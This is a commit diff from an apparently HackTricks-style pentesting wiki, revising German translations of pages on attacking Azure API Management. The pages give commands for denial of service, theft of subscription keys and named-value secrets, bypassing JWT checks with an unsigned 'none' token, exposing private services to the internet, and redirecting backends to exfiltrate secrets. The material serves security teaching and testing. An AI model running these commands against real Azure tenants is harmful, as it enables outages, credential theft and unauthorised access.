Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

This commit is contained in:
Translator
2025-12-26 18:52:01 +00:00
parent 7b131a203b
commit ec37b5ec7a
3 changed files with 39 additions and 39 deletions

View File

@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
Der Angreifer kann mehrere Vektoren nutzen, um einen denial of service zu verursachen. Um legitimen Traffic zu blockieren, fügt der Angreifer rate-limiting- und quota policies mit extrem niedrigen Werten hinzu, wodurch normaler Zugriff effektiv verhindert wird:
Der Angreifer kann mehrere Vektoren nutzen, um eine denial of service herbeizuführen. Um legitimen Traffic zu blockieren, fügt der Angreifer rate-limiting- und quota policies mit extrem niedrigen Werten hinzu, wodurch normaler Zugriff effektiv verhindert wird:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -28,7 +28,7 @@ az rest --method PUT \
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
Um Anfragen fehlschlagen zu lassen, kann ein Angreifer die Backend-Konfiguration ändern und die URL auf eine ungültige oder nicht erreichbare Adresse setzen:
Um Anfragen fehlschlagen zu lassen, kann der Angreifer die Backend-Konfiguration ändern und die URL in eine ungültige oder unerreichbare Adresse setzen:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -47,14 +47,14 @@ az rest --method DELETE \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
Um kritische APIs unzugänglich zu machen, kann ein Angreifer sie direkt aus dem API Management service löschen:
Um kritische APIs nicht verfügbar zu machen, kann der Angreifer sie direkt im API Management service löschen:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` oder `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Um den Zugriff aus dem Internet zu blockieren, kann der Angreifer den öffentlichen Netzwerkzugriff auf dem API Management service deaktivieren:
Um den Zugriff aus dem Internet zu blockieren, kann der Angreifer den öffentlichen Netzwerkzugang auf dem API Management service deaktivieren:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
@@ -66,7 +66,7 @@ az rest --method PATCH \
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Um den Zugriff berechtigter Benutzer zu blockieren, kann der Angreifer API Management-Abonnements löschen:
Um legitimen Benutzern den Zugriff zu blockieren, kann ein Angreifer API Management subscriptions löschen:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \

View File

@@ -4,31 +4,31 @@
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
Der Angriff besteht darin, auf sensible secrets zuzugreifen, die in Azure API Management Named Values gespeichert sind, entweder durch direktes Abrufen von secret values oder durch Missbrauch von Berechtigungen, um Key Vaultbacked secrets über managed identities zu erhalten.
Der Angriff besteht darin, auf sensible secrets zuzugreifen, die in Azure API Management Named Values gespeichert sind, entweder indem man die secret values direkt abruft oder Berechtigungen missbraucht, um Key Vaultbacked secrets über managed identities zu erhalten.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Für jede Subscription kann ein Angreifer die subscription keys über den listSecrets-Endpunkt mit der POST-Methode erhalten:
Für jedes Abonnement kann der Angreifer die Subscription-Schlüssel abrufen, indem er den listSecrets-Endpoint mit der POST-Methode verwendet:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
Die Antwort enthält den Subscription-Primary-Key (primaryKey) und den Secondary-Key (secondaryKey). Mit diesen Schlüsseln kann der Angreifer sich authentifizieren und auf die über das API Management Gateway veröffentlichten APIs zugreifen:
Die Antwort enthält den Subscription-Primary-Key (primaryKey) und den Secondary-Key (secondaryKey). Mit diesen Keys kann sich der Angreifer authentifizieren und auf die über das API Management Gateway veröffentlichten APIs zugreifen:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
Der Angreifer kann auf alle APIs und Produkte zugreifen, die mit der Subscription verknüpft sind. Falls die Subscription Zugriff auf sensible Produkte oder APIs hat, kann der Angreifer vertrauliche Informationen erlangen oder nicht autorisierte Operationen durchführen.
Der Angreifer kann auf alle APIs und Produkte zugreifen, die der Subscription zugeordnet sind. Wenn die Subscription Zugriff auf sensible Produkte oder APIs hat, kann der Angreifer vertrauliche Informationen erlangen oder unautorisierte Operationen durchführen.
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
Der Angreifer ruft zunächst die aktuelle API-Policy ab:
Der Angreifer ruft zuerst die aktuelle API-Richtlinie ab:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
Der Angreifer kann die Richtlinie auf verschiedene Weise ändern, abhängig von seinen Zielen. Zum Beispiel kann er, um die Authentifizierung zu deaktivieren, wenn die Richtlinie JWT token validation enthält, diesen Abschnitt entfernen oder auskommentieren:
Der Angreifer kann die Richtlinie je nach Ziel auf verschiedene Arten ändern. Zum Beispiel kann er, um die Authentifizierung zu deaktivieren, falls die Richtlinie eine JWT token validation enthält, diesen Abschnitt entfernen oder auskommentieren:
```xml
<policies>
<inbound>
@@ -49,7 +49,7 @@ Der Angreifer kann die Richtlinie auf verschiedene Weise ändern, abhängig von
</on-error>
</policies>
```
Um Rate-Limit-Kontrollen zu entfernen und denial-of-service attacks zu ermöglichen, kann der Angreifer quota and rate-limit policies entfernen oder auskommentieren:
Um rate limiting controls zu entfernen und denial-of-service attacks zu ermöglichen, kann der Angreifer quota- und rate-limit policies entfernen oder auskommentieren:
```xml
<policies>
<inbound>
@@ -61,7 +61,7 @@ Um Rate-Limit-Kontrollen zu entfernen und denial-of-service attacks zu ermöglic
...
</policies>
```
Um die Backend-Route zu ändern und den Datenverkehr zu einem vom Angreifer kontrollierten Server umzuleiten:
Um die Backend-Route zu verändern und den Traffic zu einem vom Angreifer kontrollierten Server umzuleiten:
```xml
<policies>
...
@@ -72,7 +72,7 @@ Um die Backend-Route zu ändern und den Datenverkehr zu einem vom Angreifer kont
...
</policies>
```
Der Angreifer wendet dann die modifizierte Richtlinie an. Der Request-Body muss ein JSON-Objekt sein, das die Richtlinie im XML-Format enthält:
Der Angreifer wendet dann die modifizierte policy an. Der request body muss ein JSON-Objekt sein, das die policy im XML-Format enthält:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -84,33 +84,33 @@ az rest --method PUT \
}
}'
```
## JWT-Validierungsfehlkonfiguration
## Fehlkonfiguration der JWT-Validierung
Der Angreifer muss wissen, dass eine API JWT-Token-Validierung verwendet und dass die Policy fehlerhaft konfiguriert ist. Schlecht konfigurierte JWT-Validierungs-Policies können `require-signed-tokens="false"` oder `require-expiration-time="false"` enthalten, was dem Service erlaubt, unsignierte Tokens oder Tokens, die nie ablaufen, zu akzeptieren.
Der Angreifer muss wissen, dass eine API JWT-Token-Validierung verwendet und dass die Policy falsch konfiguriert ist. Schlecht konfigurierte JWT-Validierungs-Policies können `require-signed-tokens="false"` oder `require-expiration-time="false"` enthalten, wodurch der Dienst unsignierte Tokens oder Tokens akzeptiert, die niemals ablaufen.
Der Angreifer erstellt ein bösartiges JWT-Token mit dem none-Algorithmus (unsigned):
Der Angreifer erstellt ein bösartiges JWT-Token unter Verwendung des none algorithm (unsigned):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
Der Angreifer sendet eine Anfrage an die API unter Verwendung des bösartigen Tokens:
Der Angreifer sendet eine Anfrage an die API mit dem bösartigen Token:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Wenn die Richtlinie falsch konfiguriert ist mit `require-signed-tokens="false"`, akzeptiert der Dienst das unsignierte Token. Der Angreifer kann außerdem ein Token ohne Ablauf-Claim erstellen, wenn `require-expiration-time="false"`.
Wenn die Policy falsch konfiguriert ist mit `require-signed-tokens="false"`, akzeptiert der Dienst das nicht signierte Token. Der Angreifer kann außerdem ein Token ohne expiration-Claim erstellen, wenn `require-expiration-time="false"`.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Der Angreifer prüft zunächst die aktuelle Netzwerkkonfiguration des Dienstes:
Der Angreifer überprüft zunächst die aktuelle Netzwerkkonfiguration des Dienstes:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Der Angreifer überprüft die JSON-Antwort, um die Werte von `publicNetworkAccess` und `virtualNetworkType` zu verifizieren. Wenn `publicNetworkAccess` auf false gesetzt ist oder `virtualNetworkType` auf Internal steht, ist der Dienst für privaten Zugriff konfiguriert.
Der Angreifer prüft die JSON-Antwort, um die Werte von `publicNetworkAccess` und `virtualNetworkType` zu verifizieren. Ist `publicNetworkAccess` auf false gesetzt oder `virtualNetworkType` auf Internal, ist der Dienst für privaten Zugriff konfiguriert.
Um den Dienst dem Internet zugänglich zu machen, muss der Angreifer beide Einstellungen ändern. Läuft der Dienst im internen Modus (`virtualNetworkType: "Internal"`), ändert der Angreifer ihn auf None oder External und aktiviert den öffentlichen Netzwerkzugriff. Dies kann mit der Azure Management API durchgeführt werden:
Um den Dienst dem Internet zugänglich zu machen, muss der Angreifer beide Einstellungen ändern. Wenn der Dienst im Internal-Modus läuft (`virtualNetworkType: "Internal"`), ändert der Angreifer ihn auf None oder External und aktiviert `publicNetworkAccess`. Dies kann über die Azure Management API erfolgen:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
@@ -122,10 +122,10 @@ az rest --method PATCH \
}
}'
```
Sobald `virtualNetworkType` auf `None` oder `External` gesetzt ist und `publicNetworkAccess` aktiviert ist, sind der Service und alle seine APIs aus dem Internet zugänglich, selbst wenn sie zuvor hinter einem privaten Netzwerk oder privaten Endpunkten geschützt waren.
Sobald `virtualNetworkType` auf `None` oder `External` gesetzt ist und `publicNetworkAccess` aktiviert ist, werden der Service und alle seine APIs aus dem Internet zugänglich, selbst wenn sie zuvor hinter einem privaten Netzwerk oder privaten Endpunkten geschützt waren.
## `Microsoft.ApiManagement/service/backends/write`
Der Angreifer listet zunächst die vorhandenen Backends auf, um zu ermitteln, welches er ändern soll:
Der Angreifer enumerates zunächst die vorhandenen Backends, um zu identifizieren, welches geändert werden soll:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
@@ -135,7 +135,7 @@ Der Angreifer ruft die aktuelle Konfiguration des Backends ab, das er ändern m
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Der Angreifer ändert die backend-URL so, dass sie auf einen Server unter seiner Kontrolle zeigt. Zuerst erhält er das ETag aus der vorherigen response und aktualisiert dann das backend:
Der Angreifer ändert die Backend-URL so, dass sie auf einen Server unter seiner Kontrolle zeigt. Zuerst holt er das ETag aus der vorherigen Antwort und aktualisiert dann das Backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -148,7 +148,7 @@ az rest --method PUT \
}
}'
```
Alternativ kann der Angreifer Backend-Header konfigurieren, um Named Values mit Geheimnissen zu exfiltrate. Dies erfolgt über die Konfiguration der Backend-Zugangsdaten:
Alternativ kann der Angreifer Backend-Header konfigurieren, um Named Values zu exfiltrieren, die Geheimnisse enthalten. Dies geschieht über die Konfiguration der Backend-Credentials:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -165,6 +165,6 @@ az rest --method PUT \
}
}'
```
Mit dieser Konfiguration werden Named Values als headers in allen Requests an das attacker-controlled Backend gesendet, wodurch die Exfiltration sensibler Secrets ermöglicht wird.
Mit dieser Konfiguration werden Named Values als Header in allen Requests an das attacker-controlled backend gesendet, wodurch die Exfiltration sensibler Geheimnisse ermöglicht wird.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,41 +4,41 @@
## Grundlegende Informationen
Azure API Management (APIM) ist ein vollständig verwalteter Dienst, der eine **einheitliche Plattform zum Veröffentlichen, Absichern, Transformieren, Verwalten und Überwachen von APIs** bietet. Er ermöglicht Organisationen, ihre **API-Strategie zu zentralisieren** und eine konsistente Governance, Performance und Sicherheit über alle Dienste hinweg sicherzustellen. Indem APIM als Abstraktionsschicht zwischen Backend-Services und API-Konsumenten fungiert, vereinfacht es die Integration und verbessert die Wartbarkeit, während es wesentliche Betriebs- und Sicherheitsfunktionen bereitstellt.
Azure API Management (APIM) ist ein vollständig verwalteter Service, der eine **einheitliche Plattform zum Veröffentlichen, Schützen, Transformieren, Verwalten und Überwachen von APIs** bietet. Er ermöglicht Organisationen, ihre **API-Strategie zu zentralisieren** und eine konsistente Governance, Performance und Sicherheit über alle Dienste hinweg sicherzustellen. Indem APIM als Abstraktionsschicht zwischen Backend-Diensten und API-Konsumenten fungiert, vereinfacht es die Integration und erhöht die Wartbarkeit, während essentielle betriebliche und sicherheitsrelevante Funktionalitäten bereitgestellt werden.
## Kernkonzepte
**The API Gateway** dient als einziger Einstiegspunkt für gesamten API-Traffic und übernimmt Aufgaben wie das Weiterleiten von Requests an Backend-Services, Durchsetzen von Rate Limits, Caching von Antworten sowie die Verwaltung von Authentifizierung und Autorisierung. Dieses Gateway wird vollständig von Azure gehostet und verwaltet, was hohe Verfügbarkeit und Skalierbarkeit sicherstellt.
**Das API-Gateway** dient als einziger Einstiegspunkt für den gesamten API-Verkehr und übernimmt Aufgaben wie das Routings von Anfragen an Backend-Dienste, Durchsetzung von Rate Limits, Caching von Antworten sowie Verwaltung von Authentifizierung und Autorisierung. Dieses Gateway wird vollständig von Azure gehostet und verwaltet, wodurch hohe Verfügbarkeit und Skalierbarkeit gewährleistet sind.
**The Developer Portal** bietet eine Self-Service-Umgebung, in der API-Konsumenten verfügbare APIs entdecken, Dokumentation lesen und Endpunkte testen können. Es erleichtert das Onboarding durch interaktive Werkzeuge und den Zugriff auf Abonnementinformationen.
**Das Developer-Portal** bietet eine Self-Service-Umgebung, in der API-Konsumenten verfügbare APIs entdecken, Dokumentation lesen und Endpunkte testen können. Es erleichtert das Onboarding durch interaktive Werkzeuge und Zugriff auf Abonnementinformationen.
**The Management Portal (Management Plane)** wird von Administratoren verwendet, um den APIM-Dienst zu konfigurieren und zu warten. Von hier aus können Benutzer APIs und Operationen definieren, Zugriffskontrollen konfigurieren, Policies anwenden, Benutzer verwalten und APIs in Produkte organisieren. Dieses Portal zentralisiert die Administration und sorgt für konsistente API-Governance.
**Das Management-Portal (Management Plane)** wird von Administratoren zur Konfiguration und Wartung des APIM-Services genutzt. Von hier aus können Benutzer APIs und Operationen definieren, Zugriffskontrollen konfigurieren, Policies anwenden, Benutzer verwalten und APIs in Produkte organisieren. Dieses Portal zentralisiert die Administration und stellt eine konsistente API-Governance sicher.
## Authentifizierung und Autorisierung
Azure API Management unterstützt mehrere **authentication mechanisms**, um den API-Zugriff zu sichern. Dazu gehören **subscription keys**, **OAuth 2.0 tokens** und **client certificates**. APIM integriert sich außerdem nativ mit **Microsoft Entra ID**, wodurch **enterprise-level identity management** und **secure access** sowohl zu APIs als auch zu Backend-Services ermöglicht werden.
Azure API Management unterstützt mehrere **Authentifizierungsmechanismen**, um den API-Zugriff zu sichern. Dazu gehören **subscription keys**, **OAuth 2.0 tokens** und **client certificates**. APIM integriert sich außerdem nativ mit **Microsoft Entra ID**, was **enterprise-level identity management** und **sicheren Zugriff** sowohl auf APIs als auch auf Backend-Dienste ermöglicht.
## Richtlinien
## Policies
Policies in APIM erlauben Administratoren, die **Request- und Response-Verarbeitung** auf verschiedenen Ebenen anzupassen, einschließlich Service-, API-, Operation- oder Product-Ebene. Über Policies lassen sich unter anderem **JWT token validation** durchsetzen, **XML- oder JSON-Payloads transformieren**, **Rate Limiting** anwenden, Anfragen nach IP-Adresse einschränken oder die Authentifizierung gegenüber Backend-Services mittels managed identities durchführen. Policies sind **sehr flexibel** und bilden eine der **Kernstärken** der API Management-Plattform, da sie **feinkörnige Kontrolle über das Laufzeitverhalten** ermöglichen, ohne Backend-Code ändern zu müssen.
Policies in APIM erlauben Administratoren, die **Verarbeitung von Requests und Responses** in verschiedenen Granularitäten anzupassen, einschließlich auf Service-, API-, Operation- oder Produkt-Ebene. Über Policies können z. B. **JWT token validation** durchgesetzt, **XML- oder JSON-Payloads transformiert**, **Rate Limiting** angewendet, **Aufrufe nach IP-Adresse eingeschränkt** oder **Authentifizierung gegenüber Backend-Diensten unter Verwendung von managed identities** durchgeführt werden. Policies sind **sehr flexibel** und stellen eine der **Kernstärken** der API Management-Plattform dar, da sie eine **feingranulare Kontrolle über das Laufzeitverhalten** ermöglichen, ohne Backend-Code zu ändern.
## Named Values
Der Dienst bietet einen Mechanismus namens **Named Values**, mit dem **Konfigurationsinformationen** wie **Secrets**, **API Keys** oder andere von Policies benötigte Werte gespeichert werden können.
Der Service stellt einen Mechanismus namens **Named Values** zur Verfügung, mit dem **Konfigurationsinformationen** wie **Secrets**, **API keys** oder andere für Policies benötigte Werte gespeichert werden können.
Diese Werte können direkt in APIM gespeichert oder sicher aus **Azure Key Vault** referenziert werden. Named Values fördern eine **sichere und zentrale Verwaltung** von Konfigurationsdaten und vereinfachen das Erstellen von Policies, indem sie **wiederverwendbare Referenzen** anstelle von hartkodierten Werten ermöglichen.
Diese Werte können direkt in APIM gespeichert oder sicher aus **Azure Key Vault** referenziert werden. Named Values fördern eine **sichere und zentrale Verwaltung** von Konfigurationsdaten und vereinfachen das Erstellen von Policies, indem **wiederverwendbare Referenzen** anstelle von hartcodierten Werten verwendet werden.
## Netzwerk- und Sicherheitsintegration
Azure API Management integriert sich nahtlos in **virtual network environments** und ermöglicht so **private und sichere Konnektivität** zu Backend-Systemen.
Azure API Management integriert sich nahtlos in **virtuelle Netzwerkumgebungen** und ermöglicht **private und sichere Konnektivität** zu Backend-Systemen.
Wenn innerhalb eines **Virtual Network (VNet)** bereitgestellt, kann APIM auf **interne Services** zugreifen, ohne diese öffentlich offenzulegen. Der Dienst erlaubt außerdem die Konfiguration von **custom certificates**, um **mutual TLS authentication** mit Backend-Services zu unterstützen, was die Sicherheit in Szenarien verbessert, in denen eine **starke Identitätsvalidierung** erforderlich ist.
Wenn APIM innerhalb eines **Virtual Network (VNet)** bereitgestellt wird, kann es auf **interne Dienste** zugreifen, ohne diese öffentlich exponieren zu müssen. Der Service erlaubt außerdem die Konfiguration **kundenspezifischer Zertifikate**, um **gegenseitige TLS-Authentifizierung** mit Backend-Diensten zu unterstützen, was die Sicherheit in Szenarien erhöht, in denen eine **starke Identitätsprüfung** erforderlich ist.
Diese **Netzwerkfunktionen** machen APIM sowohl für **cloud-native** als auch für **hybride Architekturen** geeignet.
### Auflisten
Um den API Management-Dienst zu enumerieren:
Um den API-Management-Dienst aufzulisten:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>